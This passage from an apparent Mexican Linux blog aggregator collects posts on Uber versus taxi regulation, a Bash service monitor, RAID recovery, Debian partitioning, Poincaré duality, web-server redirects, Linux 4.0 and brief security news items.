Private driver hiring applications have several flaws, but maybe the biggest one is that they are... How to put it? I cannot find a word better than illegal. Taxi drivers in our city (and in most cities, as far as I have read) undergo a long process to ensure they are fit for the task. Is the process incomplete? Absolutely. But the answer is not to abolish it in the name of the free market. The process must be, if anything, tightened. The process for granting a public driver license to an individual is way stricter than to issue me a driving license (believe it or not, Mexico City abolished taking driving tests several years ago). Taxis do get physical and mechanical review — Is their status mint and perfect? No way. But compare them to taxis in other Mexican states, and you will see they are in general in a much better shape.

Now... One of the things that angered me most about the comments to articles such as the ones I'm quoting is the middle class mentality they are written from. I have seen comments ranging from stupidly racist humor attempts (Mr. Mayor, the Guild of Kidnappers and Robbers of Iztapalapa demand the IMMEDIATE prohibition on UBER as we are running low on clients or the often repeated comment that taxi drivers are (...) dirty, armpit-smelly that listen to whatever music they want) to economic culture-based discrimination Uber is just for credit card users as if it were enough of an argument... Much to the opposite, it's just discrimination, as many people in this city are not credit subjects and do not exist in the banking system, or cannot have an always-connected smartphone — Should they be excluded from the benefits of modernity just because of their economic difference?

And yes, I'm by far not saying Mexico City's taxi drivers are optimal. I am an urban cyclist, and my biggest concern/fear are usually taxi drivers (more so than microbus drivers, which are a class of their own). Again , as I said at the beginning of the post, I am of the idea that if current laws and their enforcement are not enough for a society, it has to change due to that society's pressure — It cannot just be ignored because nobody follows the rules anyway. There is quite a bit that can be learnt from Uber's ways, and there are steps that can be taken by the company to become formal and legal, in our country and in others where they are accused of the same lacking issues.

We all deserve better services. Not just those of us that can pay for a smartphone and are entitled to credit cards. And all passenger-bearing services require strict regulations.

Lunes 11 de mayo de 2015

Monitor

Diagrama de estados de Monitor

Diagrama de estados de Monitor

Monitor es un script escrito en puro Bash que permite dejar a la PC monitoreando el resultado de una instrucción. A diferencia de watch, no se trata de estar vigilando la salida de la instrucción, sino de detectar el momento en que ocurre la falla y ejecutar instrucciones cuando el servicio vigilado se cae o se levanta.

Monitor fue escrito para vigilar servicios con fallas de naturaleza aleatoria. En ocasiones el problema dura poco y no es fácil tomar una muestra del sistema justo cuando el problema ocurre.

Además, este tipo de situaciones tiene algunas características:

  • Se quiere saber cuándo se cayó y cuándo se volvió a levantar el servicio para saber en qué sección de las bitácoras buscar.
  • Se quiere tomar acción cuando se detecta otra caída. Estas acciones pueden ser toma de diagnósticos o envío de alertas.
  • Suele necesitarse ser tolerante a oscilaciones pasajeras; por ejemplo, un ping perdido no implica una caída de un equipo.

Si bien este tipo de vigilancia se resuelve fácilmente con un while de Bash, éste puede volverse rápidamente complejo y no es divertido estar depurándolo cada que uno se ve en la necesidad. Además, es posible cometer errores al programar la lógica del while y no darnos cuenta hasta cuando el problema original ya volvió a ocurrir y no obtuvimos la monitorización esperada.

Con Monitor, la lógica está establecida y comprobada. Sólo basta indicar qué instrucción queremos monitorizar.

El código está disponible en Github: https://github.com/alvarezp/monitor

Ejemplo

En un hipotético problema perdemos comunicación con nuestro propio host y no sabemos por qué. Sospechamos que un proceso corriendo en nuestra máquina está insertando reglas de iptables que resultan en el bloqueo de esta comunicación.

Utilicemos monitor.bash para vigilar el resultado de un ping a localhost y que en caso de caída confirmada se tome una muestra de iptables.

# monitor.bash --rest-time 1 --on-down 'iptables-save' 'ping localhost -c 1 -w 1 >/dev/null 2>&1'
       INIT 2015-11-05 15:21:58 PDT lun
         UP 2015-11-05 15:21:58 PDT lun
     ---- el proceso misterioso aplica iptables -A INPUT -i lo -p icmp -j DROP ----
FALLINGDOWN 2015-11-05 15:22:13 PDT lun
# Generated by iptables-save v1.4.21 on Mon May 11 15:22:17 2015
*filter
:INPUT ACCEPT [74:70608]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [67:5781]
-A INPUT -i lo -p icmp -j DROP
COMMIT
# Completed on Mon May 11 15:22:17 2015
       DOWN 2015-11-05 15:22:17 PDT lun
     ---- el proceso misterioso aplica iptables -F INPUT ----
RAISINGBACK 2015-11-05 15:22:32 PDT lun
         UP 2015-11-05 15:22:36 PDT lun

Da la impresión que iptables-save se ejecuta después de quedar en FALLINGDOWN, pero en realidad se ejecuta justo al entrar en DOWN.

Ya tenemos fechas y horas para buscar en bitácoras y algo de evidencia para profundizar en el diagnóstico.

Héctor Daniel Cortés

Héctor Daniel Cortés
'Aztec Eagle' Turbo

Recovering a RAID5... again!

# mdadm --create --readonly --assume-clean --metadata=0.90 --bitmap=none --level=5 --raid-devices=4 --chunk=256 /dev/md126 /dev/sd{c,b,a,d}2
José Mendoza Roa

José Mendoza Roa
TuCancUnix

ICWATCH: Espiando a los espías

Un adolescente de 21 años  acaba de exponer 27 mil perfiles de LinkedIn de personas que trabajan en el sector de inteligencia. Lo hizo hace pocos días en re:publica, una de las conferencias más importantes a nivel global sobre cultura digital –este año tuvo 800 expositores de 45 países distintos para sus cerca de seis mil visitantes, ... Read more

The post ICWATCH: Espiando a los espías appeared first on TuCancUnix.

Domingo 10 de mayo de 2015

Gerónimo Orozco

Gerónimo Orozco
Patux's booring news

Introduction to Ceph and architectural overview

Registrate




Abstract:
Ceph is an open source distributed object store, network block device, and file system designed for reliability, performance, and scalability. It runs on commodity hardware, has no single point of failure, and is supported in the Linux kernel.
This talk will describe the Ceph architecture, share its design principles, and discuss how it can be part of a cost-effective, reliable cloud stack.
The de-facto standard for OpenStack storage, Ceph is leading the rising tide of Software-defined-Storage.

Speaker:
Federico Lucifredi is the Ceph Product Management Director at Red Hat, and was previously the Ubuntu Server PM at Canonical, and the Linux "Systems Management Czar" at SUSE.

Viernes 08 de mayo de 2015

Gunnar Wolf

Gunnar Wolf
Gunnar Wolf

Guests in the Classroom: Felipe Esquivel (@felipeer) on the applications on parallelism, focusing on 3D animation

I love having guests give my classes :)

This time, we had Felipe Esquivel, a good friend who had been once before invited by me to the Faculty, about two years ago. And it was due time to invite him again!

Yes, this is the same Felipe I recently blogged about — To give my blog some credibility, you can refer to Felipe's entry in IMDb and, of course, to the Indiegogo campaign page for Natura.

Felipe knows his way around the different aspects of animation. For this class (2015-04-15), he explained how traditional ray-tracing techniques work, and showed clear evidences on the promises and limits of parallelism — Relating back to my subject and to academic rigor, he clearly shows the speed with which we face Amdahl's Law, which limits the efficiency of parallelization at a certain degree perprogram construct, counterpointed against Gustafson's law, where our problem will be able to be solved in better detail given more processing abilities (and will thus not hit Amdahl's hard ceiling).

A nice and entertaining talk. But I know you are looking for the videos! Get them, either at my server or at archive.org.

Jueves 07 de mayo de 2015

José Mendoza Roa

José Mendoza Roa
TuCancUnix

JetPack y TwentyFifteen Vulnerable a DOM-based XSS

JetPack y TwentyFifteen vulnerables. Cualquier Plugin de WordPress o tema que aprovecha el paquete genericons es vulnerable a una DOM-based Cross-Site Scripting (XSS) debido a un archivo inseguro incluido con genericons. Hasta el momento, el plugin JetPack (informó de que tiene más de 1 millón de instalaciones activas) y el tema TwentyFifteen (instalado por defecto) se ... Read more

The post JetPack y TwentyFifteen Vulnerable a DOM-based XSS appeared first on TuCancUnix.

Miércoles 06 de mayo de 2015

Particiones a la antigua y Debian 8 (Jessie)

Y ni escribí de su salida, este año no me aviso aptlist ya que desde wheezy, bueno un poco antes estoy usando unattended-upgrades y por lo tanto cambie mis sources.lst en casa ya actualice mis máquinas y excepción hecha de mi Classmate la cosa ha ido bien, de hecho me encontré con un problema interesante. En casi todas mis actualizaciones uso ttyrec + screen en lugar de script como se sugiere en los release notes, esta ocasión use script y ya recordé porque lo uso, en una máquina perdí la conexión por reinicio del modem y recuperar el asunto fue cosa de dar kill -9 a apt-get dist-upgrade que ya estaba configurando y lo demás se tuvo que arreglar con dpkg.

Del problema interesante en mi máquina de almacenamiento, que empezó como firewall, proxy con un disco muy pequeño, mi partición / que incluye /root /lib /boot y /lib64 es muy pequeña, como de unos 400MB entonces el nuevo kernel de plano no entraba, esto en sda1, después tengo una partición extendida y 7 particiones más esto en un disco de 500GB y entre estas hacia el final el /home con unos 450GB… en un primer momento pensé en usando gparted en hacer más pequeña la partición extendida de 450GB y moverla hacia la izquierda para hacer más grande sda1 / y en eso estaba cuando me di cuenta que en lugar de seleccionar la partición extendida completa lo que había movido solo era sda8 es decir el home lo cual se llevó casi dos horas.

Como ya bastante de malas, recordé que el cambiar el tamaño desde ext3 es rápido y en ext4 fue muy rápido, me quede pensando bueno el raíz sigue en sda1 porque cuando instale esta maquina era complicado arrancar de una partición extendida y lilo tenía problemas, si quien lea esto se preguntara que diantres es lilo y eso me dio la respuesta, hace mucho que la organización en este disco ya no es la única posible, así que ya movida la partición y de 430GB ahora tenía 30GB libres sin asignar y por los cálculos como 4 horas si quería intentar el mover, cree una par de nuevas particiones para arreglar otros pendientes y termine con el raíz en sda9 con algo así como 5GB por supuesto tuve que modificar fstab y grub (esto usando RIP-linux, pero un disco de instalación más o menos hace el truco) arreglado esto cosa de formatear sda9 montar y copiar el contenido de sda1 a sda9, desmontar, hacer chroot en /sda9 editar fstab montar /usr/ para poder usar blkid , montar /proc y /sys dpk-reconfigure grub-pc y como me falto una cosa update-grub salir del chroot, desmontar, cosa que hace shutdown –r now y listo, sigo teniendo por ahí sda1 perdida y sin usar pero me ahorro varias horas y me parece una solución útil en el caso de haber planeado una instalación cuando Debian/Linux era mucho más pequeño.

En todo caso en la oficina voy a esperar a terminar el semestre antes de actualizar, ya que tengo bastantes cosas corriendo y aunque ya leí los posibles problemas que puedo enfrentar, con apache, mysql, sysstat y otros prefiero trabajar con ellos con calma, ya que ahora no soy yo el único usuario estamos corriendo cosas que utilizan bastantes usuarios… y no es buena idea mezclar eso con el fin de semestre.

Jueves 30 de abril de 2015

José Mendoza Roa

José Mendoza Roa
TuCancUnix

POSH-SECMOD: Herramientas de seguridad en PoweShell

Uno de los primeros y más potentes frameworks de seguridad en powershell es Posh-SecMod, creado por Carlos Perez este conjunto de herramientas facilita decenas de tareas para cualquier experto en seguridad. Las funciones están divididas en distintas categorías: Discovery; con descubrimiento de redes, Parse; importa resultados de otras herramientas como Nmap o DNSRecon, PostExplotation; funciones ... Read more

The post POSH-SECMOD: Herramientas de seguridad en PoweShell appeared first on TuCancUnix.

Viernes 24 de abril de 2015

José Oviedo

José Oviedo
oviedo.mx

Codeigniter: Only variable references should be returned by reference

Después de actualizar mi versión de PHP a la 5.6.4 mis paginas en Codeigniter me mostraban este error:

A PHP Error was encountered
Severity: Notice
Message: Only variable references should be returned by reference
Filename: core/Common.php
Line Number: 257

La solución esta en modificar la linea 257 que esta en el archivo system/core/Common.php en donde veremos algo asi:

return $_config[0] =& $config;

Y remplazar por este codigo:

$_config[0] =& $config;
return $_config[0];

Listo!! adiós a la noticia en PHP.

Jueves 23 de abril de 2015

José Oviedo

José Oviedo
oviedo.mx

Linux: Reactivar Control+ALT+Retroceso para reiniciar servidor X en Linux

Por si no sabias, puedes reiniciar tu servidor X presionando las teclas “Ctrl+Alt+Retroceso”, de que sirve, pues cuando esta trabado todo todo, al reiniciar el servidor X puedes casi siempre volver a la normalidad y volver a iniciar sesión.

Ahora, si por alguna razón no funciona esta combinación de teclas (en las ultimas versiones de Ubuntu por ejemplo, no sirve), aquí esta la forma de volver a activar esta opción.

En la terminal escribir:

sudo dpkg-reconfigure keyboard-configuration

Te van a aparecer muchas opciones, puedes ignorar todas.., excepto cuando llegue a la parte que te dice:

Por omisión la combinación Control+Alt+Retroceso no hace nada. Si lo desea, puede utilizarse para terminar el servidor X.

¿Desea utilizar Control+Alt+Retroceso para terminar el servidor X?

Despúes, activar la opción de SI, y listo!…, a probar el comando (todo lo que tengas abierto se cerrara en automático)

Eduardo Ruiz Duarte

Eduardo Ruiz Duarte
beck's site

Teorema de dualidad de Poincaré (2/2)

Ya por fin llegamos a la parte final, después de dos tópicos interesantes que fueron los dos posts anteriores que son la construcción de los grupos de homología y cohomología los cuales son necesarios y recomiendo les eches un ojo antes en ese orden si no lo has hecho antes de comenzar aquí, ahora voy a tratar de hacer ver el teorema de dualidad de Poincaré.

Esto no será una demostración, sólo será una idea intuitiva, pero la demostración la pueden encontrar en cualquier texto de topología algebraica como Hatcher que creo que es el libro te texto por excelencia para topología algebraica.

Formularemos el teorema considerando un cubo y un octaedro metidos uno en el otro



Observaciones:

a) Como pueden ver, en el lado izquierdo, los 6 vértices del octaedro verde tocan todas las 6 caras cuadradas del cubo rojo.

b) Por otro lado, en la figura de enmedio, lo que ven es que los 8 vértices del cubo tocan cada una de las 8 caras del octaedro.

c) En la última figura del lado derecho se pueden ver las dos figuras, y claramente podríamos verlo como una triangulación de las dos figuras en una esfera (complejo simplicial) $latex \mathbb{S}^2$ por lo que la dimensión en la que trabajamos es 2

d) También pueden observar en la última figura que cada una de las aristas del octaedro toca sólo una vez a una cada una de las aristas del cubo, es decir están en correspondencia 1-1

Entonces podemos ver que en $latex \mathbb{S}^2$ tenemos dos estructuras, la del cubo que la llamaremos $latex C$ y la del octaedro que le llamaremos $latex C^{*}$ , que corresponden a complejos de cadenas y podemos comenzar a intuir la dualidad.

Deducciones de complejos de cadenas en cubo y octaedro.

Del punto d) podemos decir que las aristas , es decir , las $latex 1$-cadenas son iguales en $latex C$ y $latex C^{*}$ , por lo que $latex C_{1}=C^{*}_{1}$ , ya que estan en correspondencia 1-1 entre el octaedro y el cubo.

Del punto a) Vemos que las caras del cubo (2-cadenas) están 1-1 con los vértices (0-cadenas) del octaedro, por lo que $latex C_2=C^{*}_0$

De punto b) pueden ver que cada cara (2-cadena) del octaedro toca a cada vértice (0-cadenas) del cubo por lo que $latex C^{*}_2 = C_0$

Calcular homología y cohomología 

Ya estamos listos para calcular cohomología y homología, en la parte 1 calculamos la homología en $latex \mathbb{Z}$ para poder usar signos y preservar orientación, esta vez lo haremos sobre $latex \mathbb{F}_2$ para que sea más sencillo, es decir, nos olvidamos de la orientación de los símplices por un momento.

Entonces tenemos la sucesión con el mapeo frontera $latex \partial$ que manda a las sumas de las fronteras con respecto a caras, aristas, vértices y su respectivo mapeo dual como ya lo definimos en la parte 1.5 (post anterior) de esta serie de post

$latex C_2 \xrightarrow[]{\partial_2} C_1 \xrightarrow[]{\partial_1} C_0$

$latex C^{*}_2 \xleftarrow[]{\delta_2}C^{*}_1\xleftarrow[]{\delta_1}C^{*}_0$

Recomendación para la visualización y motivación siguiente:
Fija una cara en los dibujos del cubo (yo fijaría la de hasta arriba) y observa la descripción siguiente
en términos de sus aristas y vértices, así como el vértice dual de la cara del cubo en el octaedro.

Entonces ahora tenemos que $latex \partial_2$ toma una cara y lo mandará a la suma de sus fronteras que son $latex 1$-cadenas (Aristas), y en cohomología , el mapeo $latex \delta_0$ mandará un vértice  del octaedro hacia las aristas del octaedro que son adyacentes a ese vértice, es decir lo manda a un elemento del grupo libre $latex C^{*}_1$

Entonces tenemos que aplicando el operador frontera a una cara (2-cadena) del $latex C$, fija una cara de $latex C$ que la denotamos como $latex \square$ y sus aristas denotadas como $latex \mid_i$ y a los vértices de $latex C$ correspondientes a la arista $latex \mid_j$ los denotamos como $latex \bullet^{j}_1$ y $latex \bullet^{j}_2$.

$latex \partial_2(\square)=\mid_1+\mid_2+\mid_3+\mid_4$
$latex \partial_1(\mid_1)=\bullet^{1}_1+\bullet^{1}_2$

Tenemos que por las observaciones, a $latex \square$ le corresponde un vértice en $latex C^{*}$
el mapeo $latex \delta$ lo que hará será asignar a una $latex n-1$-cadena, la $latex  n$-cadena que la contiene, es decir por ejemplo, una arista del octaedro la mandaria a las caras de las cuales es frontera esa arista, entonces si denotamos las caras del octaedro como $latex \triangle$ sus aristas como $latex \dagger_i$ y a sus vértices como $latex \star^{i}_1$ y $latex \star^{i}_2$

Tenemos que por la observación a) tenemos que a $latex \square$ en $latex C$ le corresponde $latex \star$ en $latex C^{*}$

por lo que

$latex \delta_1(\star) = \dagger_1 + \dagger_2 + \dagger_3 + \dagger_4$

ya que asigna ese vértice del octaedro a sus aristas que lo contienen.

$latex \delta_2(\dagger_1 + \dagger_2)=\triangle_1 + \triangle_2$

Es decir, de manera analoga, las dos aristas lo mandan a la cara que las contiene.

Entonces tenemos que el mapeo $latex \delta_2$ hace lo mismo que el mapeo $latex \partial 0$ , y el mapeo $latex \delta_1$ lo mismo que $latex \partial_1$


Entonces, tenemos que

$latex C_2 \xrightarrow[]{\partial_2} C_1 \xrightarrow[]{\partial_1} C_0$   (Homología)

$latex C^{*}_2 \xleftarrow[]{\delta_2}C^{*}_1\xleftarrow[]{\delta_1}C^{*}_0$ (Cohomología)

Y si calculamos todos los mapeos como lo hicimos tenemos que los grupos de homología y cohomología se comportan así:


$latex H_0(C)\cong H^{2}(C^{*},\mathbb{F}_2)$
$latex H_1(C)\cong H^{1}(C^{*},\mathbb{F}_2)$
$latex H_2(C)\cong H^{0}(C^{*},\mathbb{F}_2)$
$latex ker\partial_{r}/Im\partial_{r+1}=H_r(C)\cong H^{2-r}(C^{*},\mathbb{F}_2)=ker\delta_{2-r+1}/Im\delta_{2-r}$

Aquí tenemos que todo esto era sobre $latex \mathbb{S}^{2}$ es decir $latex n=2$

Esto NO es casualidad, de hecho huele... no huele, apesta a teorema y es un teoremón.


Teorema de dualidad de Poincaré

Si $latex X$ es una variedad orientable y cerrada de dimensión n (compacta, sin frontera como $latex \mathbb{S}^{2}$ o un n-toro) entonces su cohomología y homología están relacionadas así:

$latex H_k(X)\cong H^{n-k}(X^{*},G)$


Esto lo pueden experimentar ustedes, por ejemplo calculen la dualidad de un icosaedro a través de su cohomología para obtener un dodecaedro, ¿existirá un objeto geométrico que sea su propio dual?  , este debería de existir... ya que todo esto yendo más lejos aún debe tener una "identidad" , y sí, de hecho es el tetraedro.

Este resultado en topología, geometría, como podrán imaginarse los algebristas, es posible que tenga alguna equivalencia en álgebra... el semestre pasado tomé curso de geometría algebraica avanzada en la Universidad de Utrecht en Holanda y demostraron el teorema de dualidad de Serré, el cuál sólo mencionaré pero no desarrollaré ya que para eso necesitaría otros 3 posts más, pero lo que les puedo decir es que existe una relación entre el teorema de dualidad de Poincaré y el teorema de dualidad de Serré usando teoría de Hodge, de hecho aquí lo mencionan y desarrollan de manera muy aceptable.

Teorema de dualidad de Serré
Sea $latex E$ un haz fibrado holomorfo sobre una variedad compleja suave compacta $latex V$ de dimensión $latex n$ (Existen generalizaciones para gavillas coherentes y haces vectoriales) , entonces:

$latex H^{q}(V,E)\cong H^{n-q}(V,\Omega_n\otimes E^{*})^{*}$

Donde $latex \Omega_n$ es el producto cuña n veces del haz cotangente de $latex V$ (en curvas esto es directo de Riemann-Roch que lo pueden consultar aquí en mi blog y formas k formas diferenciales aquí), aquí * indica "dual" , en el mismo sentido que lo vimos aquí en esta serie de posts.

Si les interesa más aquí tengo post de cohomología de De Rham y cohomología de grupos

Espero les haya gustado mucho como a mi me gustó explicarlo, si hay dudas, críticas o recomendaciones favor de usar los comentarios o escribirme un correo o twitt.

Y como fuente de todo esto es el libro de Allen Hatcher de Algebraic Topology, especificamente la parte 3.3

Eduardo Ruíz Duarte (beck)
twitter: @toorandom



Miércoles 22 de abril de 2015

Eduardo Ruiz Duarte

Eduardo Ruiz Duarte
beck's site

Teorema de dualidad de Poincaré (parte 1.5/2 Cohomología)

En el post pasado vimos como construir grupos de homología simplicial, para poder entender la idea del teorema de dualidad de Poincaré necesitamos también entender lo que es cohomología y entender qué es lo que nos está diciendo de información sobre el objeto original, y qué mejor que con símplices, la homología simplicial es la más fácil de entender porque es visual, después de entender esto yo recomiendo irse ya a Cech, Cohomología de Grupos o a Monsky Washnitzer para trabajar con teoría de números.

El próximo post (con suerte mañana) será ya culminación, ahora sólo definiremos rápidamente cohomología con respecto al post pasado.

La cohomología es un invariante algebraico de la homología, y ya habiendo entendido homología es fácil dualizar la definición de grupos de Homología, el dual de la homología como es de esperarse va a cambiar flechas en los complejos de cadena (la cohomología es un functor contravariante y lo veremos a detalle en un momento), pero lo más impresionante en la dualización es que los grupos de Cohomología tienen estructura adicional, que es la de anillo, ya que existe una multiplicación natural llamada producto copa (cup product), pero no mencionaré casi nada sobre ello ya que el Teorema de dualidad expresa un resultado en términos de los grupos de homología y cohomología.

Recuerden que calcular la homología $latex H_n(X)$ era haciendo dos cosas que son , el calcular
Los grupos libres de $latex k-$símplices que son $latex C_k:=\Delta_k(X)$, o de homología singular o celular, pero en nuestro caso hablemos de lo que ya sabemos que es con símplices:

$latex ... \xrightarrow[]{\partial_{n+1}} C_n \xrightarrow[]{\partial_n} C_{n-1} \xrightarrow[]{\partial_{n-1}} ... $

y después el paso 2 es calcular los cocientes de fronteras y ciclos, ya que recuerden que demostramos para toda $latex n$ en el post pasado que $latex Im\partial_{n+1}\subseteq Ker\partial_{n}$ lo cual es lo mismo que $latex \partial_{n-1}\circ \partial_n = 0$, entonces tenemos los grupos de Homología $latex H_n(X)=Ker\partial_n/Im\partial_{n+1}$.

Para obtener los anillos de la cohomología $latex H^{n}(X,G)$ para algún grupo $latex G$ que usualmente será $latex \mathbb{Z}$, necesitamos interpolar el paso 1 que mostrará la contravarianza de la cohomología, en vez de considerar la cadena de los $latex C_n$ vamos a considerar la co-cadena de los $latex C^{*}_n := Hom(C_n,G)$ que son los morfismos de los complejos simpliciales a $latex G$ y el mapeo $latex \partial_n$ lo sustituiremos por el mapeo de cofrontera dual $latex \delta_n$ y formaremos igualmente algo así como los grupos $latex ker \delta/Im\delta$ .

Entonces, construyamos explícitamente todo, vamos a dualizar, considera entonces

$latex ... \xrightarrow[]{\partial_{n+1}} C_n \xrightarrow[]{\partial_n} C_{n-1} \xrightarrow[]{\partial_{n-1}} ... $

Dualizando cada $latex C_n$ tenemos que $latex C^{*}_n := Hom(C_n,G)$  y dualizando $latex \partial$ tenemos que $latex \delta_n := \partial_{n}^{*}:C^{*}_{n-1}\rightarrow C^{*}_{n}$


Nota que $latex \delta_n$ tiene las flechas invertidas (dual de $latex \partial$) , esto es obvio que suceda por propiedades de homomorfismos, y que $latex \partial_n$ es un homomorfismo:

$latex \partial_n:C_n\rightarrow C_{n-1}$

Por lo tanto

$latex \partial_n^{*}:Hom(C_{n-1},G)\rightarrow Hom(C_n,G)$
$latex \phi \mapsto \phi\circ \partial_n$

Por lo tanto tenemos que $latex \partial_n(\phi)=\phi\circ \partial_n$ es decir, lo que está haciendo $latex \partial^{*}$ es mandar el morfismo $latex C_{n-1}\xrightarrow[]{\phi} G$ a la composición $latex C_n \xrightarrow[]{\partial_n} C_{n-1}\xrightarrow[]{\phi} G$ , sabemos que los homomorfismos duales cumplen que $latex (\alpha\circ \beta)^{*}=\beta^{*}\circ \alpha^{*}$ y que $latex Id^{*}=Id$ asi como $latex 0^{*}=0$ por lo que si llamamos $latex \delta_n:=\partial_n^{*}$ tenemos que $latex \delta_n \circ \delta_{n-1}=0$ y ya tenemos de manera muy informal lo que necesitamos y por lo tanto tenemos que:


$latex ... \xleftarrow[]{} C^{*}_{n+1}\xleftarrow[]{\delta_{n+1}}C^{*}_n \xleftarrow[]{\delta_n}C^{*}_{n-1}\xleftarrow[]{\delta_{n-1}}... $ y por lo tanto tenemos que los grupos de Cohomología para $latex X$ son:


$latex H^{n}(X, G) := Ker\delta_{n+1} /Im\delta_n$

El teorema de Dualidad de Poincaré muestra una característica geométrica y topológica "visible e intuitiva" que relaciona los grupos de cohomología de dimensión $latex k$ con los grupos de homología de dimensión $latex n-k$ donde $latex n$ es la dimensión de $latex X$ que es una variedad cerrada, esto lo terminaremos en el próximo post.

Espero les haya servido y gustado

Eduardo Ruíz Duarte (beck)
Twitter: @toorandom


Martes 21 de abril de 2015

Forzar https con .htaccess

Tengo algunos dominios que usan https:// y están bajo cloudflare en el cual he tenido algunos problemas, elegí forzar desde el archivo .htaccess de esta manera:

RewriteEngine On
RewriteCond %{HTTP:X-Forwarded-Proto} =http
RewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

Recuerda poner el archivo en el directorio principal de tu dominio o subdominio.

Tal vez te pueda interesar este hilo con LastDragon sobre otras alternativas:

Miércoles 15 de abril de 2015

Alex Callejas

Alex Callejas
|rootzilopochtli.com|

FLISoL CDMX 2015

El Festival Latinoamericano de Instalación de Software Libre (FLISoL), es el mayor evento de difusión del Software Libre que se realiza desde el año 2005 en diferentes países de manera simultánea. Es una oportunidad para todas aquellas personas interesadas en conocer más acerca del software libre. Participando es posible entrar en contacto con el mundo del software libre, conocer a otros usuarios, resolver dudas e interrogantes, intercambiar opiniones y experiencias; asistir a charlas y otras actividades programadas. Como es de suponer, la asistencia al evento es totalmente libre y gratuita.

Personalmente, es un evento al que me gusta asistir y ayudar a toda la gente que quiere acercarse al Software Libre.

Para esta edición, estaré apoyando a los buenos amigos de Eva FedoraFree Berries en el evento que se llevará a cabo en el Centro de Cultura Digital, en la famosísima Suavicrema, dando un taller sobre uno de los temas que mas me apasiona: SELinuxEn la chamba pude conseguir un poco de patrocinio, por lo que, los asistentes, podrán llevarse un pequeño souvenir además de la oportunidad de poder tomar un curso.

Les comparto la propaganda del taller:

cartel_taller_selinux

flisol-mini

Espero me puedan acompañar.

Martes 14 de abril de 2015

Antonio de Dios

Antonio de Dios
Webadedios » Linux

Disponible la versión del kernel Linux 4.0

La versión estable del kernel Linux 4.0, apodada como ‘Hurr durr I’m a sheep’ llega a nosotros de la mano de la comunidad a tan solo 2 semanas desde el lanzamiento de la versión 3.19 del kernel de Linux.

La lista de novedades no es demasiado grande. Escribe Linus:

En cuanto a características nuevas, Linux 4.0 no es demasiado especial. La mayoría de cambios están relacionados con la nueva infraestructura para aplicar parches en el kernel; siendo realista hemos hecho muchos más cambios en otras versiones. Esta es una versión para asegurar un buen progreso en el desarrollo de futuras versiones del kernel.

Y es que hay que recordar que tras el lanzamiento de la versión 3.19, Linus Torvalds publicó una encuesta en Google+ donde preguntaba a sus seguidores si querían seguir en la versión 3.x del kernel o dar finalmente el salto como versión 4.0 en la futura compilación y en consecuencia y  con casi 30.000 votos en la encuesta publicada desde el pasado 12 de febrero el 56% de las personas votó por un Linux 4.0 y un 44% para Linux 3.20.

Es decir, la diferencia entre la rama 3.x y la 4.x no es mucha, y el cambio de versión es mas bien implementar un cambio de denominación, de nomenglatura

Entre las mejoras que trae el kernel linx 4.0

  • Mejora el soporte a las nuevas CPU Intel ‘Skylake'(vendrán en la segunda mitad de 2015)
  • Mejora el rendimiento de Linux en PS3
  • Se añade soporte a los System on Chip de Intel Quark
  • Drivers TOpen-source para AMD Radeon con soporte de DisplayPort Audio.
  • Mejoras en drivers HID como los teclados compactos de Lenovo y alguna tableta gráfica Wacom.
  • Ligeros cambios en los sistemas de ficheros F2FS y BtrfFs.

Lo que mas se toma en cuenta de este nuevo kernel, en si no son los cambios, si no la estabilidad, la versión Linux 4.0 del núcleo esté enfocada en la estabilidad y corrección de errores.

Además el que no sea necesario reiniciar el sistema en las actualizaciones del kernel es algo que muchos administradores de sistemas están muy contentos, muy enfocado a todos los que necesiten tener el sistema encendido todo el tiempo, podrán aplicar parches de seguridad -por ejemplo- sin necesidad de reiniciar (apagar el sistema).

.. after extensive statistical analysis of my G+ polling, I’ve come to the inescapable conclusion that internet polls are bad.

Big surprise.

But “Hurr durr I’ma sheep” trounced “I like online polls” by a 62-to-38% margin, in a poll that people weren’t even supposed to participate in. Who can argue with solid numbers like that? 5,796 votes from people who can’t even follow the most basic directions?

In contrast, “v4.0″ beat out “v3.20″ by a slimmer margin of 56-to-44%, but with a total of 29,110 votes right now.

Now, arguably, that vote spread is only about 3,200 votes, which is less than the almost six thousand votes that the “please ignore” poll got, so it could be considered noise.

But hey, I asked, so I’ll honor the votes.

Linux 4.0 is happening!

fuentes:

https://www.kernel.org/

Miércoles 08 de abril de 2015

Xenode Systems: ¿Qué hacer después de instalar Fedora 21 Workstation?

Jueves 26 de marzo de 2015

Óscar A. Parra V.

Óscar A. Parra V.
El Canibal » Geek

Mulaka

Mulaka: Pueblos Originarios es un juego en 3D inspirado en la comunidad Rarámuri creado por programadores chihuahuenses.
El Proyecto esta en Kickstarter y pretende recabar fondos para la creación del juego.

La historia, la música y los avances del juego prometen mucho.

Esperemos que llegue a lograr este proyecto de Lienzo Studio.

Miércoles 25 de marzo de 2015

Renich Bon Ciric

HowTo: Permanently redirect a request with parameter consideration in Tengine/NginX

Well, this one gave me a super hard time. I looked everywhere and found nothing. There is a lot of misinformation.

As usual, the Nginx and Funtoo communities helped me. Thanks to:

  • MTecknology in #nginx @ Freenode
  • Tracerneo in #funtoo @ Freenode

So, how do we do this? Easy, we use a map:

    # get ready for long redirects
    map_hash_bucket_size 256;
    map_hash_max_size 4092;

    # create the map
    map $request_uri $newuri {
        default 0;

        /index.php?test=1 /yes;
        /index.php?test=2 https://google.com/;
    }

    server {
        listen *;
        server_name test.php.g02.org;
        root /srv/www/php/test/public;

        # permanent redirect
        if ($newuri) {
            return 301 $newuri;
        }


        index index.php index.html;
        autoindex on;

        include include.d/php.conf;

        access_log /var/log/tengine/php-access.log;
        error_log /var/log/tengine/php-error.log;
    }

So, basically, you want to use the $request_uri in order to catch the the uri with it’s parameters. I wasted all day figuring out why $uri didn’t have this. It turns out it discards the parameters… anyway.

This one was a hard one to find. Please, share and improve!

References

Lunes 23 de marzo de 2015

Ejercitate para jugar los clásicos de Atari

La compañía Atari, aquella que dominaba el mercado comercial de los videojuegos en los 70 y 80’s ha creado una app para ejercicios.

“Atari Fit” es el nombre de la aplicación que motiva al usuario a mantenerse saludable mediante el desbloqueo de juegos clásicos de Atari como “Pong”, “Super Breakout” y “Centipede”. Básicamente la aplicación te da 100 ejercicios y más de 30 planes de trabajo, entre más estés en forma más puntos ganaras, los cuales podrán ser usados para desbloquear estos juegos.

Esta app es gratis para descargar y fue desarrollada por 8BitFit, que se especializa en esta clase de aplicaciones, el ejecutivo en jefe, Fred Chesnais dijo:

